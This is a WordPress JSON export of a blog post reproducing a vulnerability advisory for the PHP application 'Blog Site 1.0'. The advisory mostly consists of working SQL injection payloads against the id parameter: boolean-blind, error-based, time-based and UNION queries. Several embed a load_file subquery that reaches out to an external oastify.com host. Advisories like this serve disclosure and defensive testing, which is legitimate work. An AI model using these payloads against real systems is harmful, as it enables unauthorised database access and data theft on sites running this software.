{"id":58507,"date":"2024-07-29T21:00:28","date_gmt":"2024-07-29T18:00:28","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179778\/blogsite10-sql.txt"},"modified":"2024-07-29T21:00:28","modified_gmt":"2024-07-29T18:00:28","slug":"blog-site-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/blog-site-1-0-sql-injection\/","title":{"rendered":"Blog Site 1.0 SQL Injection"},"content":{"rendered":"<p>## Titles: blog-site-1.0 Multiple-SQLi<br \/>## Author: nu11secur1ty<br \/>## Date: 07\/29\/2024<br \/>## Vendor: https:\/\/github.com\/oretnom23<br \/>## Software:<br \/>https:\/\/www.sourcecodester.com\/php\/14442\/blog-site-using-phpmysql.html<br \/>## Reference: https:\/\/portswigger.net\/web-security\/sql-injection<\/p>\n<p>## Description:<br \/>The id parameter appears to be vulnerable to SQL injection attacks. The<br \/>payload &#8216;+(select load_file(&#8216;\\\\\\\\<br \/>turga9kvxwd8g46kuiim9id0srykmaa1dp4cv0k.oastify.com\\\\ywy&#8217;))+&#8217; was submitted<br \/>in the id parameter. This payload injects a SQL sub-query that calls<br \/>MySQL&#8217;s load_file function with a UNC file path that references a URL on an<br \/>external domain. The application interacted with that domain, indicating<br \/>that the injected SQL query was executed.The attacker can get all<br \/>information from the system by using this vulnerability!<\/p>\n<p>STATUS: HIGH- Vulnerability<\/p>\n[+]Exploits:<br \/>&#8211; SQLi Multiple:<br \/>&#8220;`mysql<br \/>&#8212;<br \/>Parameter: id (GET)<br \/>Type: boolean-based blind<br \/>Title: OR boolean-based blind &#8211; WHERE or HAVING clause<br \/>Payload: page=category&amp;id=-7721&#8242; OR 5223=5223 AND &#8216;yTLh&#8217;=&#8217;yTLh<\/p>\n<p>Type: error-based<br \/>Title: MySQL &gt;= 5.0 AND error-based &#8211; WHERE, HAVING, ORDER BY or GROUP<br \/>BY clause (FLOOR)<br \/>Payload: page=category&amp;id=3&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>turga9kvxwd8g46kuiim9id0srykmaa1dp4cv0k.oastify.com\\\\ywy&#8217;))+&#8221; AND (SELECT<br \/>2233 FROM(SELECT COUNT(*),CONCAT(0x7171717671,(SELECT<br \/>(ELT(2233=2233,1))),0x716b626a71,FLOOR(RAND(0)*2))x FROM<br \/>INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND &#8216;Mgsn&#8217;=&#8217;Mgsn<\/p>\n<p>Type: time-based blind<br \/>Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)<br \/>Payload: page=category&amp;id=3&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>turga9kvxwd8g46kuiim9id0srykmaa1dp4cv0k.oastify.com\\\\ywy&#8217;))+&#8221; AND (SELECT<br \/>5859 FROM (SELECT(SLEEP(7)))tvNV) AND &#8216;ocCx&#8217;=&#8217;ocCx<\/p>\n<p>Type: UNION query<br \/>Title: MySQL UNION query (NULL) &#8211; 9 columns<br \/>Payload: page=category&amp;id=3&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>turga9kvxwd8g46kuiim9id0srykmaa1dp4cv0k.oastify.com\\\\ywy&#8217;))+&#8221; UNION ALL<br \/>SELECT<br \/>CONCAT(0x7171717671,0x416d7442627944704b55554267774f596d766967615341654a4242745a45467a71494f73596f776b,0x716b626a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#<br \/>&#8212;<br \/>&#8220;`<\/p>\n<p>## Reproduce:<br \/>[href](https:\/\/www.patreon.com\/posts\/blog-site-1-0-108994688)<\/p>\n<p>## Proof and Exploit:<br \/>[href](https:\/\/www.nu11secur1ty.com\/2024\/07\/blog-site-10-multiple-sqli.html)<\/p>\n<p>## Time spent:<br \/>00:37:00<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Titles: blog-site-1.0 Multiple-SQLi## Author: nu11secur1ty## Date: 07\/29\/2024## Vendor: https:\/\/github.com\/oretnom23## Software:https:\/\/www.sourcecodester.com\/php\/14442\/blog-site-using-phpmysql.html## Reference: https:\/\/portswigger.net\/web-security\/sql-injection ## Description:The id parameter appears to be vulnerable to SQL injection attacks. Thepayload &#8216;+(select load_file(&#8216;\\\\\\\\turga9kvxwd8g46kuiim9id0srykmaa1dp4cv0k.oastify.com\\\\ywy&#8217;))+&#8217; was submittedin the id parameter. This payload injects a SQL sub-query that callsMySQL&#8217;s load_file function with a UNC file path that references a URL on anexternal domain. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58507","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58507","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58507"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58507\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58507"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58507"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58507"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}